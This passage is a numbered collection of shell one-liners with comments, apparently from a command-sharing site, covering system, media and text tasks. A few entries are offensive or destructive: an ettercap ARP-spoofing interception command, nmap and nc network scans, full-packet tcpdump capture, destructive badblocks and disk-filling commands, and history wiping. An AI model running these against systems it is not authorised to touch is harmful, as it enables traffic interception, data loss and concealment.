6941while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
6942
6943# Display network pc "name" and "workgroup"
6944nmblookup -A <ip>
6945
6946# Extracts PDF pages as images
6947convert in.pdf out.jpg
6948
6949# Rips CDs (Playstation, etc.) and names the files the same as the volume name
6950cdrdao read-cd --read-raw --datafile "`volname /dev/hdc | sed 's/[ ^t]*$//'`".bin --device ATAPI:0,0,0 --driver generic-mmc-raw "`volname /dev/hdc | sed 's/[ ^t]*$//'`".toc
6951
6952# a function to create a box of '=' characters around a given string.
6953box() { l=${#1}+4;x=${2:-=};n $l $x; echo "$x $1 $x"; n $l $x; }; n() { for (( i=0; $i<$1; i=$i+1)); do printf $2; done; printf "\n"; }
6954
6955# shell function to underline a given string.
6956underline() { echo $1; for (( i=0; $i<${#1}; i=$i+1)); do printf "${2:-=}"; done; printf "\n"; }
6957
6958# Copy with progress
6959rsync --progress file1 file2
6960
6961# a find and replace within text-based files
6962find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
6963
6964# A nice way to show git commit history, with easy to read revision numbers instead of the default hash
6965git log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
6966
6967# find all open files by named process
6968lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
6969
6970# Search and play MP3 from Skreemr
6971function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }
6972
6973# Burn an ISO on command line with hdiutil on mac
6974hdiutil burn foo.iso
6975
6976# show where symlinks are pointing
6977lsli() { ls -l --color "$@" | awk '{ for(i=9;i<NF;i++){ printf("%s ",$i) } printf("%s\n",$NF) }'; }
6978
6979# ShadyURL via CLI
6980SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
6981
6982# See your current RAM frequency
6983/usr/sbin/dmidecode | grep -i "current speed"
6984
6985# Speed up upgrades for a debian/ubuntu based system.
6986sudo aptitude update; sudo apt-get -y --print-uris upgrade | egrep -o -e "http://[^\']+" | sudo aria2c -c -d /var/cache/apt/archives -i -; sudo aptitude -y safe-upgrade
6987
6988# List available upgrades from apt without upgrading the system
6989apt-get --just-print upgrade
6990
6991# Allow any local (non-network) connection to running X server
6992xhost +local:
6993
6994# Get your commandlinefu points (upvotes - downvotes)
6995username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
6996
6997# Get length of current playlist in xmms2
6998xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g'
6999
7000# Geo Temp
7001curl -s www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g") | sed 's|.*<t.*f data="\([^"]*\)"/>.*|\1\n|'
7002
7003# Returns the number of cores in a linux machine.
7004grep -c ^processor /proc/cpuinfo
7005
7006
7007
7008# split a file by a specific number of lines
7009csplit -k my_file 500 {*}
7010
7011# Url Encode
7012uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }
7013
7014# Url Encode
7015echo "$url" | sed 's/%/%25/g;s/ /%20/g;s/!/%21/g;s/"/%22/g;s/#/%23/g;s/\$/%24/g;s/\&/%26/g;s/'\''/%27/g;s/(/%28/g;s/)/%29/g'
7016
7017# This allows you to find a string on a set of files recursivly
7018grep -rF --include='*.txt' stringYouLookFor *
7019
7020# List users with running processes
7021ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u
7022
7023# Function to split a string into an array
7024Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ; do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }
7025
7026# get detailed info about a lan card on HP-UX 11.31
7027nwmgr -q info -c lan0
7028
7029# A function to find the newest file in a directory
7030find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
7031
7032# A function to find the newest file in a directory
7033newest () { DIR=${1:-'.'}; CANDIDATE=`find $DIR -type f|head -n1`; while [[ ! -z $CANDIDATE ]]; do BEST=$CANDIDATE; CANDIDATE=`find $DIR -newer "$BEST" -type f|head -n1`; done; echo "$BEST"; }
7034
7035# set a reminder for 5 days in the future
7036echo "DISPLAY=$DISPLAY xmessage setup suphp perms htscanner acct#101101 host2.domain.com" | at 23:00 Feb 8
7037
7038# Get an authorization code from Google
7039curl -s https://www.google.com/accounts/ClientLogin -d Email=$email -d Passwd=$password -d service=lh2 | grep Auth | sed 's/Auth=\(.*\)/\1/'
7040
7041# Fix the vi zsh bindings on ubuntu
7042sudo sed -iorig '/\(up\|down\)/s/^/#/' /etc/zsh/zshrc
7043
7044# Get current Xorg resolution via xrandr
7045xrandr -q|sed -n 's/.*current[ ]\([0-9]*\) x \([0-9]*\),.*/\1x\2/p'
7046
7047# Recursively replace a string in files with lines matching string
7048find . -type f |xargs -I% sed -i '/group name/s/>/ deleteMissing="true">/' %
7049
7050# Define words with google. (busybox version)
7051wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' | sed -n 's/^li>\(.*\)/\1\n/p'
7052
7053# find large files
7054find . -type f -size +1100000k |xargs -I% du -sh %
7055
7056# Validating a file with checksum
7057echo 'c84fa6b830e38ee8a551df61172d53d7 myfile' | md5sum -c
7058
7059# a shell function to print a ruler the width of the terminal window.
7060ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=''; for (( i=1; i<=(COLUMNS + w) / $w; i=i+1 )); do str+=$s; done; str=${str:0:COLUMNS} ; echo $str; done; }
7061
7062# View the newest xkcd comic.
7063feh `lynx --dump http://xkcd.com/| grep png`
7064
7065# Rename duplicates from MusicBrainz Picard
7066for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done
7067
7068# diff the same file in two directories.
7069diff {$path1,$path2}/file_to_diff
7070
7071# test moduli file generated for openssh
7072ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates
7073
7074# For when GUI programs stop responding..
7075xkill
7076
7077# ettercap..
7078ettercap -i ${interface} -P ${plugin} -Tq -M ARP:REMOTE // // -m ${PurloinedData}.log
7079
7080# Concatenate video files to YouTube ready output
7081mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi
7082
7083
7084
7085# Equivalent to ifconfig -a in HPUX
7086for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done
7087
7088# Comment out all lines in a file beginning with string
7089sed -i 's/^\(somestring\)/#\1/' somefile.cfg
7090
7091# Recursively grep thorugh directory for string in file.
7092find directory/ -exec grep -ni phrase {} +
7093
7094# Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash)
7095find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
7096
7097# Press a key automatically
7098while true; do xvkbd -xsendevent -text "\[$KEY]" && sleep 2; done
7099
7100# Shell function to create a directory named with the current date, in the format YYYYMMDD.
7101dmd () { ( if [ "$1"x != "x" ]; then cd $1; fi; mkdir `date +%Y%m%d` ) }
7102
7103# Gathering all MAC's in your local network
7104sudo arp-scan --interface=eth0 -l
7105
7106# delete multiple files with spaces in filenames (with confirmation)
7107ls -Q * | xargs -p rm
7108
7109# Recursively grep for string and format output for vi(m)
7110mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }
7111
7112# Recursively grep thorugh directory for string in file.
7113grep -rni string dir
7114
7115# Testing ftp server status
7116for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
7117
7118# Copy specific files recursively using the same tree organization.
7119rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory
7120
7121# Convert all old SVN repositories in one directory to new format
7122find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
7123
7124# Top Command in batch mode
7125top -b -n 1
7126
7127# Linux zsh one-liner to Determine which processes are using the most swap space currently
7128for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}' /proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/$i/cmdline ; fi; } | sort -nr
7129
7130# delete duplicate lines from a file and keep the order of the other lines
7131cat -n <file> | sort -k 2 | uniq -f 1 | sort -n | cut -f 2-
7132
7133# Search big files with long lines
7134lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
7135
7136# Dump and bz2compress a mysql db
7137mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
7138
7139# perl insert character on the first line on your file
7140perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing
7141
7142# monitor system load
7143tload -s 10
7144
7145# Sed can refference parts of the pattern in the replacement:
7146echo -e "swap=me\n1=2"|sed 's/\(.*\)=\(.*\)/\2=\1/g'
7147
7148# download the contents of a remote folder in the current local folder
7149wget -r -l1 -np -nd http://yoururl.com/yourfolder/
7150
7151# Create a directory and go inside it
7152mkdir dir; cd $_
7153
7154# Print unique ipaddresses as they come in from Apache Access Log File
7155tail -f /var/log/apache2/access.log | awk -W interactive '!x[$1]++ {print $1}'
7156
7157# download file1 file2 file3 file4 .... file 100
7158wget http://domain.com/file{1..100}
7159
7160
7161
7162# clone an USB stick using dd + see its process
7163dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
7164
7165# share internet connection with only one network interface
7166ifconfig eth0:1 192.168.0.1/24
7167
7168# Change pidgin status
7169dbus-send --print-reply --dest=im.pidgin.purple.PurpleService /im/pidgin/purple/PurpleObject im.pidgin.purple.PurpleInterface.PurpleSavedstatusActivate int32:<WANTED STATE>
7170
7171# How many Linux and Windows devices are on your network?
7172sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"
7173
7174# Show recent earthquakes in Bay Area
7175lynx --width=200 --dump 'http://quake.usgs.gov/recenteqs/Maps/San_Francisco_eqs.htm'|sed -ne '/MAG.*/,/^References/{;s/\[[0-9][0-9]*\]//;1,/h:m:s/d;/Back to map/,$d;/^$/d;/^[ \t][ \t]*[3-9]\.[0-9][0-9]*[ \t][ \t]*/p; }'|sort -k1nr
7176
7177# Find all files <10MB and sum up their size
7178i=0; for f in $(find ./ -size -10M -exec stat -c %s {} \; ); do i=$(($i + $f)); done; echo $i
7179
7180# Every Nth line position # (SED)
7181sed -n '1,${p;n;n;}' foo > foo_every3_position1; sed -n '2,${p;n;n;}' foo > foo_every3_position2; sed -n '3,${p;n;n;}' foo > foo_every3_position3
7182
7183# Prints line numbers
7184grep -n "^" <filename>
7185
7186# Pretty man pages under X
7187vman(){ T=/tmp/$$.pdf;man -t $1 |ps2pdf - >$T; xpdf $T; rm -f $T; }
7188
7189# Fix borked character coding in a tty.
7190LC_ALL=C man -c man
7191
7192# Print a row of 50 hyphens
7193ruby -e 'puts "-" * 50'
7194
7195# Show git branches by date - useful for showing active branches
7196for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k"`\\t"$k";done|sort
7197
7198# Do a search-and-replace in a file after making a backup
7199sed -i.bak 's/old/new/g' file
7200
7201# Print a row of 50 hyphens
7202awk 'BEGIN{while (a++<50) s=s "-"; print s}'
7203
7204# Prints line numbers
7205nl <filename>
7206
7207# view certificate details
7208openssl x509 -in filename.crt -noout -text
7209
7210# analyze traffic remotely over ssh w/ wireshark
7211mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
7212
7213# Solaris get PID socket
7214pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}'
7215
7216# Batch convert PNG to JPEG
7217for i in *.png; do convert "$i" "${i%.png}.jpg" && rm "$i" && echo "$i is converted."; done
7218
7219# Create package dependency graph
7220apt-cache dotty PKG-NAME | dot -Tpng | display
7221
7222# pipe output to notify-send
7223echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
7224
7225# Display _something_ when an X app fails
7226xlaunch(){ T=/tmp/$$;sh -c "$@" >$T.1 2>$T.2;S=$?;[ $S -ne 0 ]&&{ echo -e "'$@' failed with error $S\nSTDERR:\n$(cat $T.2)\nSTDOUT:\n$(cat $T.1)\n"|xmessage -file -;};rm -f $T.1 $T.2;}
7227
7228# mount an iso
7229mount -o loop -t iso9660 my.iso /mnt/something
7230
7231# monitor network traffic and throughput in real time
7232iptraf
7233
7234# Display the output of a command from the first line until the first instance of a regular expression.
7235command | sed '/regex/q'
7236
7237
7238
7239# find out how much space are occuipied by files smaller than 1024K (sic) - improved
7240find dir -size -1024k -type f -print0 | du --files0-from - -bc
7241
7242# Display the list of all opened tabs from Firefox via a python one-liner and a shell hack to deal with python indentation.
7243python <<< $'import minjson\nf = open("sessionstore.js", "r")\njdata = minjson.read(f.read())\nf.close()\nfor win in jdata.get("windows"):\n\tfor tab in win.get("tabs"):\n\t\ti = tab.get("index") - 1\n\t\tprint tab.get("entries")[i].get("url")'
7244
7245# command! -nargs=1 Vs vs <args>
7246Create aliases for common vim minibuffer/cmd typos
7247
7248# find out how much space are occuipied by files smaller than 1024K
7249find dir -size -1024k -type f | xargs -d $'\n' -n1 ls -l | cut -d ' ' -f 5 | sed -e '2,$s/$/+/' -e '$ap' | dc
7250
7251# Pause and Resume Processes
7252stop () { ps -ec | grep $@ | kill -SIGSTOP `awk '{print $1}'`; }
7253
7254# List folders containing only PNGs
7255find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
7256
7257# Find the location of the currently loaded php.ini file
7258php -i | grep php.ini
7259
7260# Use curl to save an MP3 stream
7261curl -sS -o $outfile -m $showlengthinseconds $streamurl
7262
7263# Display the output of a command from the first line until the first instance of a regular expression.
7264<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
7265
7266# Test file system type before further commands execution
7267DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
7268
7269# Show database sql schema from Remote or Local database
7270mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables
7271
7272# Awk one-liner that sorts a css file by selector
7273awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
7274
7275# Watch postgresql calls from your application on localhost
7276sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
7277
7278# See entire packet payload using tcpdump.
7279tcpdump -nnvvXSs 1514 -i <device> <filters>
7280
7281# Read just the IP address of a device
7282/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
7283
7284# Random colours at random locations
7285p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
7286
7287# Check general system error on AIX
7288errpt -a | more
7289
7290# output stats from a running dd command to see its progress
7291watch -n60 --kill -USR1 $(pgrep dd)
7292
7293# Freshening up RKhunter
7294rkhunter --versioncheck --update --propupd --check
7295
7296# Expedient hard disk temprature and load cycle stats
7297watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
7298
7299# Show permissions of current directory and all directories upwards to /
7300dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
7301
7302# Display IP adress of the given interface in a most portable and reliable way. That should works on many platforms.
7303x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
7304
7305# convert video format to youtube flv format
7306ffmpeg -i Your_video_file -s 320x240 FILE.flv
7307
7308# add an mp3 audio track to a video
7309mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi
7310
7311# validate xml in a shell script.
7312xmlproc_parse.python-xml &>/dev/null <FILE> || exit 1
7313
7314
7315
7316# validate xml in a shell script using xmllint
7317xmllint --noout some.xml 2>&1 >/dev/null || exit 1
7318
7319# convert wmv into xvid avi format
7320mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi
7321
7322# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
7323mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
7324
7325# list all opened ports on host
7326time { i=0; while [ $(( i < 65535 )) -eq 1 ] ; do nc -zw2 localhost $((++i)) && echo port $i opened ; done; }
7327
7328# random xkcd comic as xml
7329curl -sL 'dynamic.xkcd.com/comic/random/' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
7330
7331# Provide information on IPC (Inter-process communication) facilities
7332ipcs
7333
7334# Get your public ip using dyndns
7335curl -s 'http://www.loopware.com/ip.php'
7336
7337# recursive search and replace old with new string, inside files
7338$rpl -R oldstring newstring folder
7339
7340# Find and copy scattered mp3 files into one directory
7341find . -type f -iname '*.mp3' -exec cp {} ~/mp3/ \;
7342
7343# Check your hard drive for bad blocks (destructive)
7344badblocks -c 65536 -o /tmp/badblocks.out -p 2 -s -v -w /dev/hdX > /tmp/badblocks.stdout 2> /tmp/badblocks.stderr
7345
7346# Find and copy scattered mp3 files into one directory
7347find . -name '*.mp3' -type f -exec sh -c 'exec cp -f "$@" /home/user/dir' find-copy {} +
7348
7349# Quickly batch resize images
7350mogrify -geometry 800x600 *.jpg
7351
7352# Monitoring sessions that arrive at your server
7353watch -n 1 -d "finger"
7354
7355# Download streaming video in mms
7356mimms mms://Your_url.wmv
7357
7358# Salvage a borked terminal
7359echo <ctrl+v><ctrl+o><enter>
7360
7361# Ruby - nslookup against a list of IP`s or FQDN`s
7362while read n; do host $n; done < list
7363
7364# Fill up disk space (for testing)
7365tail $0 >> $0
7366
7367# Show local/public IP adresses with or without interface argument using a shell function for Linux and MacOsX
7368MyIps(){ echo -e "local:\n$(ifconfig $1 | grep -oP 'inet (add?r:)?\K(\d{1,3}\.){3}\d{1,3}')\n\npublic:\n$(curl -s sputnick-area.net/ip)"; }
7369
7370# Audible warning when a downloading is finished
7371while [ "$(ls $filePart)" != "" ]; do sleep 5; done; mpg123 /home/.../warning.mp3
7372
7373# mount a cdrom
7374mount -t iso9660 /dev/cdrom /media/cdrom
7375
7376# Return IP Address
7377ifconfig|while read i;do [[ $i =~ inet.*B ]]&&r=${i%%B*}&&echo ${r/*[tr]:/};done
7378
7379# Capture data in ASCII. 1500 bytes
7380tcpdump -ieth0 -n tcp port 80 -A -s1500
7381
7382# Find file containing namespace in a directory of jar files.
7383for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done
7384
7385# View the newest xkcd comic.
7386curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
7387
7388# find all writable (by user) files in a directory tree (use 4 for readable, 1 for executable)
7389find . -type f -perm +200 -print
7390
7391
7392
7393# show how many regex you use in your vim today
7394cat ~/.viminfo | sed -n '/^:[0-9]\+,\([0-9]\+\|\$\)s/p'
7395
7396# find read write traffic on disk since startup
7397iostat -m -d /dev/sda1
7398
7399# urldecoding
7400perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
7401
7402# Pull up remote desktop for other than gnome/kde eg fluxbox
7403rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
7404
7405# Get your bash scripts to handle options (-h, --help etc) and spit out auto-formatted help or man page when asked!!
7406process-getopt
7407
7408# urldecoding
7409printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
7410
7411# In (any) vi, add a keystroke to format the current paragraph.
7412map ^A !}fmt
7413
7414# Convert decimal numbers to binary
7415function decToBin { echo "ibase=10; obase=2; $1" | bc; }
7416
7417# Find all dotfiles and dirs
7418find -mindepth 1 -maxdepth 1 -name .\*
7419
7420# watch the previous command
7421watch -n1 -d !!
7422
7423# List all symbolic links in current directory
7424ls -lah | grep ^l
7425
7426# List the biggest accessible files/dirs in current directory, sorted
7427du -ms * 2>/dev/null |sort -nr|head
7428
7429# Find all dot files and directories
7430ls -d .*
7431
7432# Debian Runlevel configuration tool
7433rcconf
7434
7435# Checks apache's access_log file, strips the search queries and shoves them up your e-mail
7436awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
7437
7438# Show sorted list of files with sizes more than 1MB in the current dir
7439ls -l | awk '$5 > 1000000' | sort -k5n
7440
7441# Testing reading speed with dd
7442sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240`
7443
7444# Testing writing speed with dd
7445sync; time `dd if=/dev/zero of=bigfile bs=1M count=2048 && sync`
7446
7447# github push-ing behind draconian proxies!
7448git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
7449
7450# rotate the compiz cube via command line
7451wmctrl -o 1280,0
7452
7453# Short Information about loaded kernel modules
7454lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d
7455
7456# Watch a TiVo File On Your Computer
7457curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename | tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536
7458
7459# convert wav files to flac
7460flac --best *.wav
7461
7462# Sort movies by length, longest first
7463for i in *.avi; do echo -n "$i:";totem-gstreamer-video-indexer $i | grep DURATION | cut -d "=" -f 2 ; done | sort -t: -k2 -r
7464
7465# check the status of 'dd' in progress
7466while killall -USR1 dd; do sleep 5; done
7467
7468
7469
7470# Remove executable bit from all files in the current directory recursively, excluding other directories
7471find . ! -type d -exec chmod -x {}\;
7472
7473# Both view and pipe the file without saving to disk
7474cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
7475
7476# Easily decode unix-time (funtion)
7477utime(){ perl -e "print localtime($1).\"\n\"";}
7478
7479# Build an exhaustive list of maildir folders for mutt
7480find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
7481
7482# Get ethX mac addresses
7483ip link | grep 'link/ether' | awk '{print $2}'
7484
7485# Grab an interface's IP from ifconfig without screen clutter
7486ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
7487
7488# Display top 5 processes consuming CPU
7489ps -eo pcpu,user,pid,cmd | sort -r | head -5
7490
7491# Open-iscsi target discovery
7492iscsiadm -m discovery -t sendtargets -p 192.168.20.51
7493
7494# Creates Solaris alternate boot environment on another zpool.
7495lucreate -n be1 [-c be0] -p zpool1
7496
7497# play audio stream and video stream in two different mplayer instances
7498mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884
7499
7500# one-liner mpc track changer using dmenu
7501mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
7502
7503# Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the backup
7504nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
7505
7506# A function to find the newest file of a set.
7507newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
7508
7509# Erase empty files
7510find . -type f -size 0 -delete
7511
7512# Monitor a file's size
7513watch -n 60 du /var/log/messages
7514
7515# Get ssh server fingerprints
7516ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
7517
7518# Remove CR LF from a text file
7519tr -d '\r\n' < input_file.txt > output_file.txt
7520
7521# Prints per-line contribution per author for a GIT repository
7522git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
7523
7524# grep -v with multiple patterns.
7525grep test somefile | grep -v -e error -e critical -e warning
7526
7527# password generator
7528genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
7529
7530# Check a server is up. If it isn't mail me.
7531curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
7532
7533# On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
7534acpi -t | osd_cat -p bottom
7535
7536# set wallpaper on windowmaker in one line
7537wmsetbg -s -u path_to_wallpaper
7538
7539# Convert a MOV captured from a digital camera to a smaller AVI
7540ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
7541
7542# To print a specific line from a file
7543awk 'FNR==5' <file>
7544
7545
7546
7547# Quickly Encrypt a file with gnupg and email it with mailx
7548cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
7549
7550# List your largest installed packages (on Debian/Ubuntu)
7551sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
7552
7553# Battery real life energy vs predicted remaining plotted
7554echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
7555
7556# Testing hard disk writing speed
7557time dd if=/dev/zero of=TEST bs=4k count=512000
7558
7559# Get decimal ascii code from character
7560echo -n a | od -d | sed -n "s/^.* //gp"
7561
7562# get the ascii number with bash builtin printf
7563printf "%d\n" "'A" "'B"
7564
7565# Function to output an ASCII character given its decimal equivalent
7566chr () { echo -en "\0$(printf %x $1)"}
7567
7568# Function to output an ASCII character given its decimal equivalent
7569chr() { printf \\$(printf %o $1); }
7570
7571# Less a grep result, going directly to the first match in the first file
7572argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
7573
7574# Clear your history saved into .bash_history file!
7575history -c && rm -f ~/.bash_history
7576
7577# Clear your history saved into .bash_history file!
7578history -c
7579
7580# Set gnome wallpaper to a random jpg from the specified directory
7581gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"
7582
7583# Execute a command before display the bash prompt
7584PROMPT_COMMAND=command
7585
7586# GZip all files in a directory separately
7587gzip *
7588
7589# GZip all files in a directory separately
7590ls | xargs -n1 gzip
7591
7592# MoscowML with editable input-line and history
7593rlwrap mosml
7594
7595# retrieve the source address used to contact a given host
7596python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
7597
7598# Get absolut path to your bash-script
7599PATH=$(cd ${0%/*}; pwd)
7600
7601# Get full URL via http://untr.im/api/ajax/api
7602URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'
7603
7604# remove the last of all html files in a directory
7605for f in *.html; do sed '$d' -i "$f"; done
7606
7607# Makefile argument passing
7608make [target] VAR=foobar
7609
7610# List only the directories
7611tree -dL 1
7612
7613# convert filenames in current directory to lowercase
